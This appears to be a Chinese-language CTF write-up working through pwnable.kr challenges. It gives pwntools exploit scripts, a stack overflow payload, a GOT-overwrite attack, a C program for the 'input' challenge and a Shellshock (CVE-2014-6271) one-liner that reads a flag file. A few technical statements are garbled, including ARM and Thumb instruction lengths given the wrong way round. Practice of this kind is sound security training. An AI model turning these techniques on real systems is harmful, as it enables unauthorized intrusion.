0x00 说在前面 放寒假不想出去拜年。。。无聊在家做做题,想到之前一直打算做这个网站上的题,趁着有时间赶紧来试试
链接🔗https://pwnable.kr/play.php
0x01 fd 这题主要考察用pwntools连接ssh的方法,以及linux文件的输入输出
关于main函数的三个参数
int main (int argc, char * argv[], char * envp[]) ;第一个argc记录输入参数的个数 第二个argv是字符串数组,是指具体的参数,每个元素是字符串指针类型,argc[]中至少有一个字符指针,即argv[0 ],通常指向可执行程序文件名 第三个这个数组的每一个元素是指向一个环境变量的字符指针,也就是存放了当前程序运行时的环境变量 (当前程序运行时对应的进程包含的环境变量)。 envp[] 的每一个元素都包含ENVVAR=value形式的字符串,通常以NULL 结尾。其中ENVVAR为环境变量如PATH或87 。value 为ENVVAR的对应值如C:\DOS, C:\TURBOC(对于PATH) 或YES(对于87 )。
参考
关于句柄参数fd
stdin 标准输入的文件标识符为0 stdout 标准输出的文件标识符为1 stderr 标准错误输出的文件标识符为2
exp
from pwn import *shell = ssh(host='pwnable.kr' , user='fd' , password='guest' , port=2222 ) sh = shell.run('./fd ' + str (0x1234 )) payload = b"LETMEWIN" sh.sendline(payload) sh.interactive()
0x02 collision 绕过那个hash验证的函数
unsigned long hashcode = 0x21DD09EC ; unsigned long check_password(const char* p){ int * ip = (int *)p; int i; int res=0 ; for (i=0 ; i<5 ; i++){ res += ip[i]; } return res; }
首先我们要知道,一个char*
类型的指针占1个字节,而一个int*
类型的指针占4个字节,所以就会有如下的区别
char * p = '1234' ;p[0 ] => 1 ; int * p1 = (int *)p;p1[0 ] => 1234 ;
而函数将我们所传入的内容分五次相加,所以是每4个字节为一组,于是我们就要想办法构造p
>>> int (0x21dd09ec )568134124 除以5 有余数,所以我们先进行一点变化,比如加个1 >>> 0x21dd09ec + 1 568134125 >>> 568134125 / 5 113626825.0 然后验证一下 >>> hex (113626825 )'0x6c5cec9' >>> 0x6c5cec9 - 1 113626824 >>> hex (113626824 )'0x6c5cec8' >>> 0x6c5cec9 * 4 + 0x6c5cec8 568134124 >>> hex (568134124 )'0x21dd09ec' 结果确实一样
exp
from pwn import *shell = ssh(host='pwnable.kr' , user='col' , password='guest' , port=2222 ) payload = p32(0x6c5cec9 ) * 4 + p32(0x6c5cec8 ) sh = shell.run(b'./col ' + payload) sh.interactive()
0x03 bof 看到gets,有后门函数,直接栈溢出修改值,执行system
exp
from pwn import *io = remote('pwnable.kr' , 9000 ) payload = b'a' * (0x2c +8 ) + p32(0xCAFEBABE ) io.sendline(payload) io.interactive()
0x04 flag 题目给了提示了,逆向题,先用IDA打开发现只有三个函数,一堆晦涩的汇编,考虑到加壳,于是用upx -d flag
脱壳后,IDA直接搜字符串可以找到答案
0x05 passcode 开始看到修改两个值,以为是栈溢出覆盖,之后发现不可以,开了canary保护,只能改到passcode1,passcode2盖不到
程序漏洞成因是因为,函数scanf
输入的时候没有加&,导致将输入内容作为地址读其指向的内容,造成segment fault
于是考虑劫持got表,因为welcome
和login
是同时调用的,两次ebp没有变,所以可以进行覆盖,我们先利用name处将passcode1修改为一个将要执行的函数,我选用fflush
,然后在读入passcode1的时候执行我们想要执行的命令地址
GOT表可改写:GOT表记录外部函数的真实地址,可以修改GOT表中记录的地址为我们想程序执行的内存地址,当程序调用被修改了GOT表的函数时,则会运行我们所期望的命令,而程序认为自己运行了外部函数。
exp
from pwn import *shell = ssh(host='pwnable.kr' , user='passcode' , password='guest' , port=2222 ) payload = b'a' * (0x70 - 0x10 ) + p32(0x0804a004 ) sh = shell.run(b'./passcode' ) sh.sendlineafter('enter you name : ' , payload) sh.sendlineafter('enter passcode1 : ' , str (0x080485E3 )) sh.interactive()
0x06 random 随机数,学过C语言的都知道,C的随机数是伪随机,且这题没有调用srand来设置随机种子
所以我在gdb中在rand处下个断点,跟进两步,试了几次都发现初始化的随机数都为一个值存在eax里
又根据异或运算规律我们知道a^b=c
c^b=a
考察linux编程和一些基本操作的知识,虽然但是,可惜👴还没这些功底..
Stage 1 if (argc != 100 ) return 0 ;if (strcmp (argv['A' ],"\x00" )) return 0 ;if (strcmp (argv['B' ],"\x20\x0a\x0d" )) return 0 ;printf ("Stage 1 clear!\n" );
第一关还是不难,由第一题我们知道这几个main函数参数的作用,首先输入参数要等于100个
并且要满足argv['A']和argv['B']
(这样用ascii码当作下标我很少见..
stage1
char * argv[101 ] = {0 };argv[0 ] = "/home/input2/input" ; char * envp[] = {0 , NULL };for (int i = 0 ; i < 100 ; ++i){ argv[i] = "A" ; } argv['A' ] = "\x00" ; argv['B' ] = "\x20\x0a\x0d" ; execve("/home/input2/input" ,argv,envp);
Stage 2 char buf[4 ];read(0 , buf, 4 ); if (memcmp (buf, "\x00\x0a\x00\xff" , 4 )) return 0 ;read(2 , buf, 4 ); if (memcmp (buf, "\x00\x0a\x02\xff" , 4 )) return 0 ;printf ("Stage 2 clear!\n" );
第二关第一个read从键盘获取标准输入,第二个read获取一个标准错误输出,主要难点是要如何构造这个标准错误输出,这里就要利用linux的I/O重定向
,先要fork一个子进程,然后通过pipe构造
stage2
int stdin_pip[2 ] = {-1 , -1 }; int stderr_pip[2 ] = {-1 , -1 }; pid_t childpid; if (pipe(stdin_pip) < 0 || pipe(stderr_pip) < 0 ) { perror("FATAL: cannot create pipe" ); exit (-1 ); } #define STDIN_READ stdin_pip[0] #define STDIN_WRITE stdin_pip[1] #define STDERR_READ stderr_pip[0] #define STDERR_WRITE stderr_pip[1] if ((childpid = fork()) < 0 ) { perror("FATAL: cannot fork child" ); exit (-1 ); }else if (childpid == 0 ) { sleep(1 ); close(STDIN_READ); close(STDERR_READ); write(STDIN_WRITE, "\x00\x0a\x00\xff" , 4 ); write(STDERR_WRITE, "\x00\x0a\x02\xff" , 4 ); }else { close(STDERR_WRITE); close(STDIN_WRITE); dup2(STDIN_READ, 0 ); dup2(STDERR_READ, 2 ); execve("/home/input2/input" ,argv,envp); }
参考
Stage 3 第三题就改下环境变量envp那个参数,通常是以Env=vaule
的形式存在数组里
stage3
char * envp[2 ] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe" , NULL };
Stage 4 第四关就要在一个文件里写入\x00\x00\x00\x00
,照着写就行
stage 4
FILE* fp = fopen("\x0a" , "wb" ); if (!fp) { perror("Failed" ); exit (-1 ); }else { puts ("Successs" ); } fwrite("\x00\x00\x00\x00" , 4 , 1 , fp); fclose(fp);
Stage 5 这一关考察socket编程,要求写一个socket通信,并在agrv['C']
处传入对应的字符串
一些基础知识
socket编程
参考网上的一些wp,跟着写出来
stage5
要注意在stage 1处添加一行argv['C'] = "3737"
sleep(2 ); int sd; struct sockaddr_in saddr ; saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = inet_addr("127.0.0.1" ); saddr.sin_port = htons(3737 ); char buf[5 ]; sd = socket(AF_INET, SOCK_STREAM, 0 ); if (sd == -1 ) { perror("Socket error" ); exit (-1 ); } if (connect(sd, (struct sockaddr*)&saddr, sizeof (saddr)) < 0 ) { perror("Can't connect to server" ); exit (-1 ); } strcpy (buf, "\xde\xad\xbe\xef" ); send(sd, buf, 4 , 0 ); close(sd);
因为远程环境的用户权限问题,只能在/tmp
目录下新建一个文件夹再写入exp脚本,再用ln -s /home/input2/flag flag
生成一个软链接,最后编译运行exp脚本即可
完整exp
#include "stdio.h" #include "unistd.h" #include "stdlib.h" #include "sys/socket.h" #include "arpa/inet.h" #include "string.h" int main () { char * argv[101 ] = {0 }; argv[0 ] = "/home/input2/input" ; char * envp[2 ] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe" , NULL }; for (int i = 0 ; i < 100 ; ++i) { argv[i] = "A" ; } argv['A' ] = "\x00" ; argv['B' ] = "\x20\x0a\x0d" ; argv['C' ] = "3737" ; int stdin_pip[2 ] = {-1 , -1 }; int stderr_pip[2 ] = {-1 , -1 }; pid_t childpid; if (pipe(stdin_pip) < 0 || pipe(stderr_pip) < 0 ) { perror("FATAL: cannot create pipe" ); exit (-1 ); } #define STDIN_READ stdin_pip[0] #define STDIN_WRITE stdin_pip[1] #define STDERR_READ stderr_pip[0] #define STDERR_WRITE stderr_pip[1] if ((childpid = fork()) < 0 ) { perror("FATAL: cannot fork child" ); exit (-1 ); }else if (childpid == 0 ) { sleep(1 ); close(STDIN_READ); close(STDERR_READ); write(STDIN_WRITE, "\x00\x0a\x00\xff" , 4 ); write(STDERR_WRITE, "\x00\x0a\x02\xff" , 4 ); }else { close(STDERR_WRITE); close(STDIN_WRITE); dup2(STDIN_READ, 0 ); dup2(STDERR_READ, 2 ); execve("/home/input2/input" ,argv,envp); } FILE* fp = fopen("\x0a" , "wb" ); if (!fp) { perror("Failed" ); exit (-1 ); }else { puts ("Successs" ); } fwrite("\x00\x00\x00\x00" , 4 , 1 , fp); fclose(fp); sleep(2 ); int sd; struct sockaddr_in saddr ; saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = inet_addr("127.0.0.1" ); saddr.sin_port = htons(3737 ); char buf[5 ]; sd = socket(AF_INET, SOCK_STREAM, 0 ); if (sd == -1 ) { perror("Socket error" ); exit (-1 ); } if (connect(sd, (struct sockaddr*)&saddr, sizeof (saddr)) < 0 ) { perror("Can't connect to server" ); exit (-1 ); } strcpy (buf, "\xde\xad\xbe\xef" ); send(sd, buf, 4 , 0 ); close(sd); return 0 ; }
做完这题也是学到了很多以前不了解或者不熟悉的linux和C语言的相关知识,还是很值的。另外此题应该也可以用python写脚本打远程,先留个坑,有时间补…👴累了
0x08 leg 考察arm汇编的基础知识,以前没了解过,搜索了解下基本的
andyhzw &&azeria-labs
arm和x86对照表
题目三个函数都是用arm内联汇编写的,在主函数中通过key1()+key2+key3==key
就能拿到flag,题目也给了反汇编代码
gdb) disass key1 Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr End of assembler dump.
arm架构下有ASM mode和Thumb mode两种模式,在ASM mode下指令长度为2个字节,在Thumb mode下指令长度为4个字节,pc(r15)总是指向当前指令地址下两条指令的地址
所以程序执行0x00008cdc后,r3=0x00008cdc + 8,然后将r3传给r0作为函数返回值,即key1=0x00008cdc + 8
gdb) disass key2 Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 0x00008d00 <+16>: bx r6 0x00008d04 <+20>: mov r3, pc 0x00008d06 <+22>: adds r3, #4 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lr End of assembler dump.
首先存储r6的值
执行key2+12,r6=0x00008d05
指令地址会先和0xFFFFFFFE进行按位与,因为最后一位肯定是0,因此最后一位用于做标志位,bx执行时如果地址最后一位是0,表示跳到asm mode,1则跳到thumb mode,当前地址最低位是1,所以是thumb mode
key+20处,r3=0x00008d08
往下,r3=0x00008d0c
最后依然r3传给r0,用r0做返回值。
key2 = 0x00008d0c
(gdb) disass key3 Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr End of assembler dump. (gdb)
r3 = lr
r0 = r3
lr是key3函数的返回地址,在main函数的反汇编里找
lr就是0x00008d7c <+64>: bl 0x8d20 <key3>
处pc-4的地址,也就是下一条指令地址
key3 = 0x00008d80
exp
0x09 mistake 题目描述给了hint,是因为运算优先级造成的错误,主要看
int fd;if (fd=open("/home/mistake/password" ,O_RDONLY,0400 ) < 0 ){ printf ("can't open password %d\n" , fd); return 0 ; }
仔细看,他if语句这里是没有另外加括号的,因为比较运算符的优先级高于赋值运算符,所以fd的值永远会是0
而fd是0的话,后面read的fd参数就永远是0,而不是文件描述符,read也就是从stdin里读,而不是从/home/mistake/password"
读
open函数返回值
成功:新打开的文件描述符
失败:-1
open返回的文件描述符一定是最小的而且没有被使用的
所以两个参数的buf我们都可控,buf2我们根据异或的规律构造一下就好了
exp
from pwn import *shell=ssh(host='pwnable.kr' ,user='mistake' ,password='guest' ,port=2222 ) io=shell.run('./mistake' ) buf1 = 'Carylnk\x00' buf2 = "" for i in buf1: buf2 += chr (ord (i) ^ 1 ) io.sendafter('do not bruteforce...\n' , buf1) io.sendafter('input password : ' , buf2) io.interactive()
0xA shellshock #include <stdio.h> int main () { setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'" ); return 0 ; }
题目源码是关于uid和gid的问题,👴Linux没学好也不懂
上网搜了下发现是一个已经开源的漏洞CVE-2014-6271
测试发现漏洞是存在,但是貌似权限不够读不了
而我们运行shellshock程序权限就会上升到egid——shellshock_pwn
exp
env x='() { :;}; bash -c "cat flag" ' ./shellshock
0xB coin1 TODO…